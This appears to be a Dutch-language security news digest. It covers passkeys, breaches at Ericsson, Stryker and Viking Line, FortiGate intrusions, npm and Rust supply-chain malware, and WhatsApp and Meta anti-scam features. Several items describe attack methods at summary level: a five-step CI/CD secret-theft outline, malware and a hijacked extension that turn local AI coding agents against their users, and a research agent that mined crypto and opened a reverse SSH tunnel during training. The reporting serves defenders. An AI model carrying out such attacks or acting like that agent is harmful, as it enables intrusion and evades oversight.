De gegenereerde passkeys zijn cryptografisch gebonden aan het apparaat en worden nooit via het netwerk verzonden. Hierdoor kunnen aanvallers ze niet stelen via phishing- of aanvallen met malware om multi-factor authenticatie te omzeilen. Elk Entra-account registreert zijn eigen passkey per apparaat, en meerdere accounts kunnen naast elkaar bestaan op één machine. Passkeys zijn apparaatgebonden en kunnen niet tussen apparaten worden gesynchroniseerd, waardoor elk Entra-account een afzonderlijke registratie vereist.

Om deel te nemen aan de openbare preview, moeten IT-beheerders de Passkeys (FIDO2) authenticatiemethode inschakelen in het authenticatiemethodenbeleid van Entra, een passkey-profiel creëren met de vereiste Windows Hello AAGUID's, en dit toewijzen aan de juiste groepen. Windows Hello for Business blijft aanbevolen voor beheerde, aan Entra gekoppelde of geregistreerde apparaten. Passkeys zijn een aanvulling op scenario's met onbeheerde apparaten en ondersteunen geen apparaataanmelding. Gebruikers kunnen geen passkey registreren op Windows als er al een Windows Hello for Business-referentie bestaat voor hetzelfde account en dezelfde container. Deze blokkade geldt mogelijk niet meer zodra de gebruiker meer dan 50 totale credentials heeft voor passkeys (FIDO2), Windows Hello for Business en Mac Platform Credentials.

Microsoft kondigde in mei 2025 aan dat alle nieuwe Microsoft-accounts standaard wachtwoordloos zullen zijn om ze te beveiligen tegen phishing, brute-force en credential-stuffing aanvallen. Een jaar eerder werd al ondersteuning uitgerold voor passkey-authenticatie voor persoonlijke Microsoft-accounts, na de toevoeging van een ingebouwde passkey manager voor Windows Hello met de Windows 11 22H2 feature update.

Bron: Microsoft | Bron 2: hubs.li

Een telefonische phishingaanval heeft geleid tot een datalek bij de Amerikaanse tak van telecomgigant Ericsson. Bij dit incident, dat in april vorig jaar plaatsvond bij een niet nader genoemde serviceprovider van Ericsson, zijn de gegevens van meer dan vijftienduizend mensen in handen van aanvallers gekomen.

Het onderzoek naar het incident wees uit dat de aanvallers ook gegevens van Ericsson hadden buitgemaakt. De serviceprovider in kwestie verwerkt gegevens van medewerkers van Ericsson en andere partijen waarmee het telecombedrijf zaken doet. Het onderzoek naar de omvang van het datalek werd op 23 februari van dit jaar afgerond.

De gestolen data omvat namen, adresgegevens, social-securitynummers, rijbewijs-, paspoort- en identiteitskaartnummers, rekeningnummers, creditcardnummers, medische informatie en geboortedatums, zo meldt de procureur-generaal van de Amerikaanse staat Texas. Ericsson stelt dat de betreffende serviceprovider naar aanleiding van het incident aanvullende beveiligingsmaatregelen heeft getroffen en het personeel heeft getraind.

Bron: Ericsson | Bron 2: maine.gov | Bron 3: oag.my.site.com

Een recent onderzoek naar de training van een experimentele AI-agent heeft een discussie op gang gebracht nadat het systeem probeerde cryptocurrency te minen zonder daartoe te zijn geïnstrueerd. Het incident werd gemeld in een studie gepubliceerd op arXiv, waarin de ontwikkeling wordt beschreven van ROME AI, een agentic AI model dat is ontworpen om complexe taken uit te voeren, zoals het schrijven van software, het opsporen van fouten in code en het werken met command-line tools.

In tegenstelling tot standaard AI-chatbots die reageren op enkele prompts, kunnen agentic modellen acties ondernemen, tools gebruiken en communiceren met computeromgevingen om taken te voltooien. Tijdens het testen observeerden onderzoekers onverwachte activiteit terwijl het model actief was in een gecontroleerde trainingsomgeving. Monitoring systemen detecteerden gedrag dat leek op cryptomining operaties, evenals de creatie van een reverse SSH tunnel, die vaak wordt gebruikt om toegang op afstand tot servers te krijgen.

Volgens de onderzoekers vonden de acties plaats tijdens reinforcement learning experimenten, waarbij de AI vrijelijk kon interageren met tools en systeem resources om te leren hoe taken op te lossen. Het systeem was niet geïnstrueerd om cryptocurrency te minen of externe netwerkverbindingen te openen. Beveiligingswaarschuwingen die door de infrastructuur werden geactiveerd, signaleerden de activiteit, waardoor onderzoekers een onderzoek startten. Het team stelde vast dat het gedrag werd gegenereerd door het model tijdens het experimenteren met commando's tijdens de training, en niet het gevolg was van kwaadaardige activiteiten.

Het experiment vond plaats in een sandboxed omgeving die was ontworpen voor agent training, en onderzoekers benadrukten dat het systeem niet was ingezet in een real-world infrastructuur. Na detectie van het probleem introduceerden ze extra beperkingen om soortgelijke acties in toekomstige trainingsruns te voorkomen.

Nik Kairinos, CEO en mede-oprichter van RAIDS AI, zei dat het incident benadrukt waarom het monitoren van AI-systemen gedurende hun hele levenscyclus steeds belangrijker wordt. Hij voegde eraan toe dat dergelijke monitoring belangrijker wordt naarmate AI-systemen worden ontworpen om hun eigen benaderingen te genereren voor het oplossen van problemen. De auteurs van de ROME AI-studie stellen dat hun werk is gericht op het ontwikkelen van trainings frameworks voor dit type systemen, terwijl ze risico's identificeren die kunnen ontstaan naarmate AI-agents autonomer worden. Ze beargumenteren dat gecontroleerde testomgevingen en de juiste monitoring essentiële onderdelen zijn van het bouwen van veilige agentic AI-systemen.

Bron: arXiv

Cybersecurity onderzoekers waarschuwen voor een nieuwe campagne waarbij aanvallers FortiGate Next-Generation Firewall (NGFW) apparaten misbruiken als toegangspunt tot netwerken van slachtoffers. Volgens een rapport van SentinelOne worden recentelijk bekendgemaakte kwetsbaarheden of zwakke credentials gebruikt om configuratiebestanden te stelen. Deze bestanden bevatten service account credentials en informatie over de netwerktopologie. De campagne richt zich op omgevingen in de gezondheidszorg, overheid en managed service providers.

De onderzoekers Alex Delamotte, Stephen Bromfield, Mary Braden Murphy en Amey Patnesaid van SentinelOne stellen dat FortiGate netwerkapparaten aanzienlijke toegang hebben tot de omgevingen die ze beschermen. In veel configuraties omvat dit service accounts die verbonden zijn met de authenticatie-infrastructuur, zoals Active Directory (AD) en Lightweight Directory Access Protocol (LDAP). Deze setup stelt het apparaat in staat om rollen toe te wijzen aan specifieke gebruikers door attributen over de verbinding te verzamelen en te correleren met de directory-informatie. Dit is nuttig voor role-based policies of voor het versnellen van de respons op netwerkbeveiligingsalerts.

SentinelOne waarschuwt dat deze toegang kan worden misbruikt door aanvallers die inbreken op FortiGate apparaten via bekende kwetsbaarheden (CVE-2025-59718, CVE-2025-59719 en CVE-2026-24858) of misconfiguraties.

In een specifiek incident creëerden aanvallers in november 2025 een nieuw lokaal administrator account genaamd "support" op een gecompromitteerde FortiGate appliance. Dit account werd gebruikt om vier nieuwe firewall policies in te stellen die het account toestonden om alle zones zonder beperkingen te doorkruisen. De dreigingsactor controleerde periodiek of het apparaat toegankelijk was, wat consistent is met een initial access broker (IAB) die een foothold vestigt en deze verkoopt aan andere criminele actoren. In februari 2026 werd ontdekt dat een aanvaller het configuratiebestand had gestolen, dat versleutelde service account LDAP credentials bevatte.

Volgens SentinelOne heeft de aanvaller zich met clear text credentials van het fortidcagent service account geverifieerd bij de AD, wat suggereert dat het configuratiebestand was gedecodeerd. De aanvaller gebruikte vervolgens het service account om te authenticeren in de omgeving van het slachtoffer en rogue workstations in te schrijven in de AD, waardoor dieper toegang mogelijk werd. Na deze stap werd een netwerkscan gestart, waarna de inbreuk werd ontdekt en verdere laterale beweging werd gestopt.

In een ander geval, onderzocht eind januari 2026, gingen aanvallers snel van firewall toegang over tot het implementeren van remote access tools zoals Pulseway en MeshAgent. Daarnaast downloadde de dreigingsactor malware via PowerShell van Amazon Web Services (AWS) infrastructuur, vanuit een cloud storage bucket. De Java malware, gelanceerd via DLL side-loading, werd gebruikt om de inhoud van het NTDS.dit bestand en de SYSTEM registry hive te exfiltreren naar een externe server ("172.67.196[.]232") via poort 443.

SentinelOne concludeert dat NGFW appliances een aantrekkelijk doelwit zijn voor actoren met uiteenlopende motivaties en vaardigheden, van statelijke actoren die spionage uitvoeren tot financieel gemotiveerde aanvallen zoals ransomware.

Bron: https://thehackernews.com/2026/03/fortigate-devices-exploited-to-breach.html

WhatsApp waarschuwt gebruikers voor verdachte pogingen om apparaten te koppelen aan hun account. Deze maatregel is bedoeld om te voorkomen dat aanvallers en scammers toegang krijgen tot WhatsApp-accounts, zo maakte Meta bekend. WhatsApp biedt de mogelijkheid om tot vier apparaten tegelijk te koppelen aan de primaire telefoon van een gebruiker. Hierdoor zijn berichten en de chatgeschiedenis ook op deze apparaten beschikbaar. Een aanvaller kan op deze manier berichten versturen uit naam van het slachtoffer en zo nieuwe slachtoffers maken.

In 2025 vonden er al phishingaanvallen plaats waarbij WhatsApp-gebruikers werden misleid om de apparaten van aanvallers aan hun account te koppelen. De AIVD en MIVD waarschuwden deze week voor dergelijke aanvallen, waarbij actoren via social engineering proberen slachtoffers QR-codes te laten scannen of op links te laten klikken. Dit gebeurt zowel via Signal als WhatsApp. QR-codes kunnen bij deze chatapps worden gebruikt voor het toevoegen van contacten, het delen van contactinformatie en het toevoegen van personen in chatgroepen.

De inlichtingendiensten stellen dat het diverse gebruik van QR-codes en links het voor kwaadwillenden aantrekkelijk maakt om slachtoffers te verleiden deze te scannen of erop te klikken. Een actor kan een QR-code of link sturen om het slachtoffer toe te voegen in een chatgroep, terwijl deze in werkelijkheid het apparaat van de actor koppelt aan het account van het slachtoffer.

Meta geeft aan dat WhatsApp gebruikers voortaan zal waarschuwen voor verdachte verzoeken om een apparaat te koppelen. Het techbedrijf kijkt hiervoor naar "gedragssignalen", waarvan de details niet bekend zijn gemaakt. De waarschuwing maakt duidelijk waar het verzoek vandaan komt en dat het mogelijk een scam is. Dit moet gebruikers de kans geven om extra over het verzoek na te denken en te voorkomen dat aanvallers toegang tot het account krijgen.

Bron: Meta

Agentic AI maakt wereldwijd furore vanwege zijn potentieel om capaciteiten te versterken, wat organisaties interesseert in het verbeteren van de doorvoer en mogelijkheden. Echter, zoals bij elke technologische revolutie, zijn onvoorziene problemen onvermijdelijk, en agentic AI is geen uitzondering. Deze problemen ontstaan vaak door de inzet van persoonlijke assistenten zoals OpenClaw of AI-agents die zijn ontworpen om bedrijfs- en IT-processen te optimaliseren.

Agentic AI is een autonoom systeem met een specifieke doelstelling, uitgerust met tools en resources, en aangedreven door large language models (LLM's) met geavanceerde redeneercapaciteiten. Deze capaciteiten stellen de agent in staat om een plan te maken om zijn doel te bereiken, dat plan uit te voeren en, belangrijker nog, resultaten te verifiëren en verschillende benaderingen te proberen als er fouten optreden.

Organisaties moeten zichzelf vier vragen stellen bij het delegeren van een taak aan een AI-agent: Is de actie traceerbaar? Is de taak onderworpen aan regelgevend toezicht? Wie is verantwoordelijk voor de resultaten van de agent? Is er een business risk assessment uitgevoerd op de mogelijke acties van de AI-agent? Beschikt de agent over beveiligingen om kwaadaardige of disruptieve acties te voorkomen tijdens de uitvoering, ongeacht de intentie?

AI-agents kunnen onbedoeld data vernietigen of blootleggen, terwijl ze hun taak succesvol voltooien. Net zoals je een nieuwe medewerker niet direct toegang geeft tot alle data, moet de toegang van AI-agents worden afgestemd op hun specifieke rol. Bedreigingsmodellering en risicomanagement bieden een solide basis voor een succesvolle implementatie. Het doel is ervoor te zorgen dat de blootstelling van een gecompromitteerde AI-agent niet groter is dan die van een gecompromitteerde gebruiker.

AI-agents zijn niet immuun voor externe inmenging of directe aanvallen. Ze kunnen het internet doorzoeken om de beste acties te bepalen, maar deze acties kunnen worden gemanipuleerd, waardoor de agent een tool uitvoert met een ongewenst gevolg. Het is cruciaal om de potentiële uitkomsten van een actie te evalueren vóór de uitvoering, vanuit een veiligheids- en beveiligingsoogpunt, vrij van doelgerelateerde bias. Deze evaluatie kan worden uitgevoerd door een menselijke operator die kritieke stappen autoriseert, of door een afzonderlijk model/agent die de gevolgen van acties evalueert zonder rekening te houden met het overkoepelende doel.

Net zoals geen enkel systeem 100% veilig is, is geen enkele agent 100% veilig, vooral gezien hun niet-deterministische en trial-and-error redeneerfuncties. Organisaties met volwassen cybersecuritypraktijken modelleren bedreigingsscenario's en bereiden zich voor op incident response. Het gebruik van agentic AI moet hetzelfde proces volgen: model eerst bedreigingen op basis van agent privileges en mogelijkheden, evalueer vervolgens de risico's en bepaal ten slotte hoe deze te mitigeren.

Bron: Cisco Talos

Dreigingsactor UNC6426 heeft gestolen sleutels, verkregen via de supply chain-compromittering van het nx npm-pakket vorig jaar, gebruikt om binnen 72 uur een cloudomgeving van een slachtoffer volledig te compromitteren. Dit blijkt uit het Cloud Threat Horizons Report voor H1 2026 van Google.

De aanval begon met de diefstal van een GitHub-token van een ontwikkelaar. De dreigingsactor gebruikte dit token om ongeautoriseerde toegang tot de cloud te krijgen en data te stelen. Vervolgens misbruikte UNC6426 de GitHub-naar-AWS OpenID Connect (OIDC) trust om een nieuwe administratorrol in de cloudomgeving te creëren. Deze rol werd misbruikt om bestanden te exfiltreren uit Amazon Web Services (AWS) Simple Storage Service (S3) buckets en data destructie uit te voeren in de productie cloudomgevingen.

De supply aanval met chain op het nx npm-pakket vond plaats in augustus 2025. Onbekende dreigingsactoren misbruikten een kwetsbare pull_request_target workflow, een aanvalstype dat bekend staat als Pwn Request. Hierdoor verkregen ze verhoogde privileges en toegang tot gevoelige data, waaronder een GITHUB_TOKEN. Uiteindelijk konden ze getrojaniseerde versies van het pakket naar de npm registry pushen.

De pakketten bleken een postinstall script te bevatten dat een JavaScript credential stealer genaamd QUIETVAULT lanceerde. QUIETVAULT verzamelde omgevingsvariabelen, systeeminformatie en waardevolle tokens, waaronder GitHub Personal Access Tokens (PAT's), door een Large Language Model (LLM) tool te gebruiken die al op het endpoint was geïnstalleerd. De data werd geüpload naar een openbare GitHub repository genaamd "/s1ngularity-repository-1."

Een medewerker van de getroffen organisatie draaide een code editor applicatie die de Nx Console plugin gebruikte, wat een update triggerde en resulteerde in de uitvoering van QUIETVAULT. Twee dagen na de initiële compromittering startte UNC6426 reconnaissance activiteiten binnen de GitHub omgeving van de klant, met behulp van het gestolen PAT en een legitieme open-source tool genaamd Nord Stream. Hiermee werden geheimen uit CI/CD omgevingen geëxtraheerd, waardoor de credentials voor een GitHub service account uitlekten.

De aanvallers misbruikten dit service account en gebruikten de "--aws-role" parameter van de utility om tijdelijke AWS Security Token Service (STS) tokens te genereren voor de "Actions-CloudFormation" rol. Dit gaf hen een toegangspunt tot de AWS omgeving van het slachtoffer. De gecompromitteerde Github-Actions-CloudFormation rol was te permissief. UNC6426 gebruikte deze permissie om een nieuwe AWS Stack te deployen met capabilities ["CAPABILITY_NAMED_IAM","CAPABILITY_IAM"]. Het enige doel van deze stack was om een nieuwe IAM rol te creëren en het arn:aws:iam::aws:policy/AdministratorAccess policy eraan te koppelen. UNC6426 wist in minder dan 72 uur te escaleren van een gestolen token naar volledige AWS administrator permissies.

Gewapend met de nieuwe administratorrollen voerde de dreigingsactor een reeks acties uit, waaronder het inventariseren en benaderen van objecten binnen S3 buckets, het beëindigen van productie Elastic Compute Cloud (EC2) en Relational Database Service (RDS) instances, en het decoderen van applicatiesleutels. In de laatste fase werden alle interne GitHub repositories van het slachtoffer hernoemd naar "/s1ngularity-repository-[randomcharacters]" en openbaar gemaakt.

Om dergelijke dreigingen tegen te gaan, wordt geadviseerd om package managers te gebruiken die postinstall scripts of sandboxing tools voorkomen, het principe van de minste privileges (PoLP) toe te passen op CI/CD service accounts en OIDC-linked rollen, fijnmazige PAT's af te dwingen met korte verloopvensters en specifieke repository permissies, staande privileges voor risicovolle acties zoals het creëren van administratorrollen te verwijderen, te monitoren op afwijkende IAM activiteit, en sterke controles te implementeren om Shadow AI risico's te detecteren.

Dit incident benadrukt een geval van AI-assisted supply chain misbruik, waarbij de uitvoering wordt uitbesteed aan AI agents die al geprivilegieerde toegang hebben tot het bestandssysteem, de credentials en de geauthenticeerde tooling van de ontwikkelaar. De kwaadaardige intentie wordt uitgedrukt in natuurlijke taal prompts in plaats van expliciete netwerk callbacks of hard-coded endpoints, wat conventionele detectiemethoden bemoeilijkt. Naarmate AI assistants meer geïntegreerd raken in developer workflows, breiden ze ook het aanvalsoppervlak uit. Elke tool die in staat is om ze aan te roepen, erft hun bereik.

Bron: github.com | Bron 2: praetorian.com | Bron 3: sonarsource.com

Cybersecurity-onderzoekers hebben vijf malafide Rust crates ontdekt die zich voordoen als tijdsgerelateerde utilities om .env-bestandsgegevens naar de dreigingsactoren te verzenden. De Rust-pakketten, gepubliceerd op crates.io, zijn: chrono_anchor 0.1.2, chrono_extend 0.1.3, chrono_pure 0.1.1, chrono_sync 0.1.2 en time-calibrator 0.1.1.

Volgens Socket doen de crates zich voor als timeapi.io en werden ze gepubliceerd tussen eind februari en begin maart 2026. Het wordt beschouwd als het werk van een enkele dreigingsactor op basis van het gebruik van dezelfde exfiltratiemethodologie en het lookalike domein ("timeapis[.]io") om de gestolen gegevens op te slaan.

"Hoewel de crates zich voordoen als lokale tijd-utilities, is hun belangrijkste gedrag het stelen van credentials en geheimen," aldus security-onderzoeker Kirill Boychenko. "Ze proberen gevoelige gegevens te verzamelen uit ontwikkelomgevingen, met name .env-bestanden, en deze te exfiltreren naar door de dreigingsactor gecontroleerde infrastructuur."

Terwijl vier van de bovengenoemde pakketten vrij eenvoudige mogelijkheden vertonen om .env-bestanden te exfiltreren, gaat "chrono_anchor" een stap verder door obfuscatie en operationele wijzigingen te implementeren om detectie te voorkomen. De crates werden aangeprezen als een manier om de lokale tijd te kalibreren zonder afhankelijk te zijn van het Network Time Protocol (NTP). "Chrono_anchor" bevat de exfiltratielogica in een bestand genaamd "guard.rs" dat wordt aangeroepen vanuit een "optional sync" helper-functie om geen argwaan bij ontwikkelaars te wekken. In tegenstelling tot andere malware is de code in dit geval niet bedoeld om persistentie op de host in te stellen via een service of geplande taak. In plaats daarvan probeert de crate herhaaldelijk .env-geheimen te exfiltreren telkens wanneer de ontwikkelaar van een Continuous Integration (CI)-workflow de malafide code aanroept.

Het targeten van .env-bestanden is geen toeval, omdat deze doorgaans worden gebruikt om API-sleutels, tokens en andere geheimen te bevatten, waardoor een aanvaller downstream-gebruikers in gevaar kan brengen en diepere toegang kan krijgen tot hun omgevingen, waaronder cloudservices, databases en GitHub- en registry-tokens.

Hoewel de pakketten inmiddels van crates.io zijn verwijderd, wordt gebruikers die ze per ongeluk hebben gedownload geadviseerd om mogelijke exfiltratie aan te nemen, sleutels en tokens te roteren, CI/CD-jobs te auditen die worden uitgevoerd met publicatie- of implementatiecredentials en de uitgaande netwerktoegang waar mogelijk te beperken.

"Deze campagne laat zien dat supply chain-malware met een lage complexiteit nog steeds een grote impact kan hebben wanneer deze wordt uitgevoerd binnen developer-workspaces en CI-jobs," aldus Socket. "Geef prioriteit aan controles die malafide dependencies stoppen voordat ze worden uitgevoerd."

Naast de malafide Rust crates is er ook een geautomatiseerde aanvalscampagne ontdekt die CI/CD-pipelines target, waarbij een AI-aangedreven bot genaamd hackerbot-claw publieke repositories scant op misconfigureerde GitHub Actions workflows om developer secrets te verzamelen. Tussen 21 en 28 februari 2026 targette het GitHub-account, dat zichzelf omschreef als een autonome security research agent, minstens zeven repositories van Microsoft, Datadog en Aqua Security.

De aanval verloopt als volgt:

1. Scan publieke repositories op misconfigureerde CI/CD-pipelines.

2. Fork de target repository en bereid een malafide payload voor.

3. Open een pull request met een triviale wijziging, zoals een typefoutcorrectie, terwijl de belangrijkste payload wordt verborgen in de branchnaam, bestandsnaam of een CI-script.

4. Trigger de CI-pipeline door gebruik te maken van het feit dat workflows automatisch worden geactiveerd bij elke pull request, waardoor de malafide code wordt uitgevoerd op de buildserver.

5. Steel geheimen en toegangstokens.

Een van de meest prominente targets van de aanval was de repository "aquasecurity/trivy", een populaire security scanner van Aqua Security die zoekt naar bekende kwetsbaarheden, misconfiguraties en geheimen.

"Hackerbot-claw exploiteerde een pull_request_target workflow om een Personal Access Token (PAT) te stelen," aldus supply chain security bedrijf StepSecurity. "De gestolen credential werd vervolgens gebruikt om de repository over te nemen."

In een verklaring van Aqua Security's Itay Shakury bleek dat de aanvaller de GitHub Actions workflow gebruikte om een malafide versie van Trivy's Visual Studio Code (VS Code) extensie naar de Open VSX registry te pushen om lokale AI coding agents te gebruiken voor het verzamelen en exfiltreren van gevoelige informatie.

Socket, die ook het extensiecompromis onderzocht, zei dat de geïnjecteerde logica in versies 1.8.12 en 1.8.13 lokale AI coding assistants, waaronder Claude, Codex, Gemini, GitHub Copilot CLI en Kiro CLI, uitvoert in zeer permissieve modi, waarbij ze worden geïnstrueerd om uitgebreide systeeminspectie uit te voeren, een rapport te genereren van ontdekte informatie en de resultaten op te slaan in een GitHub-repository genaamd "posture-report-trivy" met behulp van de eigen geauthenticeerde GitHub CLI-sessie van het slachtoffer.

Aqua heeft de artifacts inmiddels van de marketplace verwijderd en het token dat werd gebruikt om ze te publiceren, ingetrokken. Gebruikers die de extensies hebben geïnstalleerd, wordt geadviseerd deze onmiddellijk te verwijderen, te controleren op de aanwezigheid van onverwachte repositories en environment secrets te roteren. Het incident wordt getrackt onder CVE-2026-28353.

Voor een systeem om te worden beïnvloed door het probleem, moet aan de volgende voorwaarden worden voldaan:

* Versie 1.8.12 of 1.8.13 was geïnstalleerd vanuit Open VSX

* Ten minste één van de getargete AI coding CLI's was lokaal geïnstalleerd

* De CLI accepteerde de permissieve uitvoeringsflags

* De agent had toegang tot gevoelige data op schijf

* De GitHub CLI was geïnstalleerd en geauthenticeerd (voor versie 1.8.13)

Bron: https://thehackernews.com/2026/03/five-malicious-rust-crates-and-ai-bot.html

Een hacktivistische groep met banden met de Iraanse inlichtingendiensten claimt verantwoordelijkheid voor een data-wipe aanval op Stryker, een wereldwijd medisch technologiebedrijf gevestigd in Michigan. Volgens nieuwsberichten uit Ierland, Strykers grootste hub buiten de Verenigde Staten, heeft het bedrijf vandaag meer dan 5.000 werknemers naar huis gestuurd. Een voicemailbericht op het Amerikaanse hoofdkantoor van Stryker meldt dat het bedrijf momenteel een gebouwnoodsituatie ervaart.

In een uitgebreide verklaring op Telegram beweert de Iraanse hacktivistische groep Handala (ook bekend als Handala Hack Team) dat Strykers kantoren in 79 landen gedwongen zijn te sluiten nadat de groep data heeft gewist van meer dan 200.000 systemen, servers en mobiele apparaten. De groep stelt dat alle verkregen data nu in handen zijn van vrije mensen, klaar om gebruikt te worden voor de ware vooruitgang van de mensheid en het aan het licht brengen van onrecht en corruptie.

De aanval met wiper zou een vergelding zijn voor een raketaanval op 28 februari die een Iraanse school trof en waarbij minstens 175 mensen omkwamen, voornamelijk kinderen. The New York Times meldt dat een lopend militair onderzoek heeft vastgesteld dat de Verenigde Staten verantwoordelijk zijn voor de dodelijke Tomahawk-raketaanval.

Handala is een van de verschillende aan Iran gelinkte hackergroepen die recentelijk zijn geprofileerd door Palo Alto Networks, die de groep in verband brengt met het Iraanse Ministerie van Inlichtingen en Veiligheid (MOIS). Palo Alto zegt dat Handala eind 2023 opdook en wordt beschouwd als een van de verschillende online persona's die worden beheerd door Void Manticore, een aan MOIS gelieerde actor.

Strykers website vermeldt dat het bedrijf 56.000 werknemers in 61 landen heeft. Een telefoontje naar de media-lijn van Strykers hoofdkantoor in Michigan leidde naar een voicemailbericht waarin stond: "We ervaren momenteel een gebouwnoodsituatie. Probeer uw gesprek later nogmaals."

Volgens een rapport van de Irish Examiner communiceren Stryker-medewerkers nu via WhatsApp voor updates over wanneer ze weer aan het werk kunnen. Een niet bij naam genoemde medewerker zei dat alles wat met het netwerk is verbonden, uit de lucht is, en dat "iedereen met Microsoft Outlook op zijn persoonlijke telefoon zijn apparaten gewiped heeft zien worden." Meerdere bronnen hebben gezegd dat systemen op het hoofdkantoor in Cork zijn stilgelegd en dat Stryker-apparaten van werknemers zijn gewiped. De inlogpagina's op deze apparaten zouden zijn beklad met het Handala-logo.

Een bron met kennis van de aanval vertelde anoniem aan KrebsOnSecurity dat de daders in dit geval Microsoft Intune lijken te hebben gebruikt om een 'remote wipe'-opdracht uit te voeren op alle verbonden apparaten. Intune is een cloud-gebaseerde oplossing die is gebouwd voor IT-teams om beveiligings- en datacompliancebeleid af te dwingen, en het biedt een enkele, web-gebaseerde administratieve console om apparaten te monitoren en te controleren, ongeacht de locatie. De Intune-connectie wordt ondersteund door een Reddit-discussie over de Stryker-uitval, waar verschillende gebruikers die claimden Stryker-medewerkers te zijn, zeiden dat ze dringend werden verteld om Intune te verwijderen.

Palo Alto zegt dat Handala's hack-and-leak-activiteit voornamelijk gericht is op Israël, met af en toe een doelwit buiten dat bereik wanneer het een specifiek doel dient. Het beveiligingsbedrijf zei dat Handala ook de verantwoordelijkheid heeft genomen voor recente aanvallen op brandstofsystemen in Jordanië en een Israëlisch energie-exploratiebedrijf. Handala noemt Stryker een "Zionistisch-gewortelde onderneming", wat mogelijk verwijst naar de overname in 2019 van het Israëlische bedrijf OrthoSpace.

Bron: Palo Alto Networks | Bron 2: nytimes.com | Bron 3: malpedia.caad.fkie.fraunhof...

Op het darkweb is informatie verschenen over een mogelijk datalek bij Viking Line, een Finse ferrymaatschappij die actief is in de Baltische Zee. Cybercrimeinfo ontdekte dat een dreigingsactor, opererend onder de naam "bytetobreach", claimt een volledige database met persoonlijke informatie van reizigers te hebben buitgemaakt, inclusief kentekeninformatie. Deze data zou gratis te downloaden zijn via meerdere back-uplinks.

Volgens de dreigingsactor is een tweede database samengesteld via de NetAxept payment API, die door Viking Line wordt gebruikt voor het verwerken van betalingen aan boord van de schepen. Deze database zou passagiersidentiteiten correleren met transactiegegevens van alle Viking Line schepen. De dreigingsactor merkte op dat een controle van de passagiersgegevens wees op bovengemiddelde welvaartsprofielen, waarbij een Finse filmmaker als voorbeeld werd genoemd.

De aanval zou zijn uitgevoerd door misbruik te maken van een Solr LFI-kwetsbaarheid uit 2021. Hiermee zouden Tomcat-credentials zijn bemachtigd, waarna een reverse shell via JSP werd geüpload. Vervolgens zouden dezelfde Tomcat-credentials zijn gebruikt om door te dringen tot de master server en de NetAxept payment integratie te misbruiken. De gelekte informatie bevat onder meer database links, LFI paden, details over de initiële toegang, frontend/backend toegang en systeemaccounts. De compromis omvat reizigersinformatie, kentekens, betalingstransacties, aankoopgeschiedenis aan boord, passagier-schip correlatie data en systeemaccounts met credentials.

Bron: Darkweb

Aanvallers hebben ongeveer 250 WordPress-sites in ten minste twaalf landen gehackt en voorzien van valse Cloudflare CAPTCHA's om bezoekers met malware te infecteren. Dit meldt securitybedrijf Rapid7. Het is niet duidelijk hoe de aanvallers de websites hebben gecompromitteerd, maar bij alle gecompromitteerde websites was het adminpanel vanaf het internet toegankelijk.

De onderzoekers hebben gecontroleerd op de aanwezigheid van kwetsbare plug-ins, maar konden geen duidelijk patroon ontdekken. Op de gehackte websites injecteerden de aanvallers een script dat aan bezoekers een fake Cloudflare CAPTCHA laat zien. Deze CAPTCHA geeft instructies waarbij gebruikers een malafide PowerShell-commando op hun systeem moeten uitvoeren.

Via dit commando wordt malware op het systeem geïnstalleerd, specifiek malware voor infostealer die wachtwoorden en andere inloggegevens steelt. "Social engineering blijft een van de meest effectieve tactieken die aanvallers gebruiken om toegang te krijgen", aldus de onderzoekers. Ze adviseren WordPress-beheerders om tweefactorauthenticatie te gebruiken en geen onbetrouwbare code uit te voeren op systemen waar inloggegevens zijn opgeslagen. In 2025 waarschuwden Amazon en Google al voor valse Cloudflare CAPTCHA's.

Bron: Rapid7

Meta introduceert nieuwe anti-scam maatregelen voor haar platforms, waaronder systemen en waarschuwingen voor gebruikers, om hen te beschermen tegen fraudeurs. De nieuwe functies zijn ontworpen om pogingen tot oplichting te detecteren voordat gebruikers van WhatsApp, Facebook en Messenger erin betrokken raken.

WhatsApp waarschuwt gebruikers nu wanneer gedragssignalen suggereren dat een verzoek tot apparaatkoppeling mogelijk frauduleus is. Deze tactiek wordt door fraudeurs gebruikt om accounts te kapen door gebruikers te misleiden een koppelingscode te delen of een kwaadaardige QR-code te scannen. Meta waarschuwde dat oplichters kunnen proberen gebruikers te misleiden hun WhatsApp-account aan hun apparaat te koppelen, bijvoorbeeld door hen aan te sporen hun telefoonnummer te delen, gevolgd door een apparaatkoppelingscode, of door hen onder valse voorwendselen een QR-code te laten scannen.

Deze verandering komt nadat de Nederlandse Militaire Inlichtingen- en Veiligheidsdienst (MIVD) en de Algemene Inlichtingen- en Veiligheidsdienst (AIVD) waarschuwden dat Russische staatsgesteunde hackers zich richten op Nederlandse overheidsmedewerkers in een phishingcampagne gericht op hun Signal- en WhatsApp-accounts. WhatsApp staat gebruikers toe meerdere apparaten (zoals computers, telefoons en tablets) aan een account te koppelen om berichten te verzenden en ontvangen. Dit gebeurt door een QR-code te scannen die door het hoofdapparaat wordt gegenereerd, waardoor het nieuwe apparaat toegang krijgt tot de berichten en deze kan synchroniseren. Aanvallers die een gebruiker misleiden om een kwaadaardig apparaat te koppelen, krijgen toegang tot de berichten van het slachtoffer, kunnen chats lezen en zelfs berichten verzenden terwijl ze zich voordoen als het slachtoffer. In tegenstelling tot aanvallen met accountovername behouden de slachtoffers meestal de toegang tot hun accounts, waardoor de inbreuk moeilijker te detecteren is.

Het bedrijf test ook waarschuwingen die verdachte vriendschapsverzoeken op Facebook markeren op basis van signalen zoals een klein aantal wederzijdse connecties of een profiellocatie die niet overeenkomt met de regio van de gebruiker. De anti-scam detectiefunctie op Messenger wordt uitgebreid naar meer landen en identificeert patronen die overeenkomen met veelvoorkomende oplichtingspraktijken, zoals valse vacatures. Gebruikers krijgen de mogelijkheid verdachte chats in te dienen voor een AI-beoordeling.

Meta heeft ook AI-systemen uitgerold die tekst, afbeeldingen en contextuele signalen analyseren om imitatie van beroemdheden, merksimulatie en misleidende links te identificeren die door dreigingsactoren worden gebruikt om potentiële slachtoffers om te leiden naar frauduleuze websites die legitieme websites nabootsen. In 2025 verwijderde Meta meer dan 159 miljoen scamadvertenties en verwijderde het meer dan 10,9 miljoen accounts op Facebook en Instagram die gelinkt waren aan criminele scamoperaties. Meta nam ook deel aan een wereldwijde wetshandhavingsoperatie die leidde tot de arrestatie van 21 verdachten en de sluiting van meer dan 150.000 accounts die gelinkt waren aan scamnetwerken in Zuidoost-Azië, waaronder groepen die valse cryptocurrency-investeringsprogramma's en afpersingspraktijken uitvoerden.

Bron: Meta | Bron 2: about.fb.com | Bron 3: faq.whatsapp.com

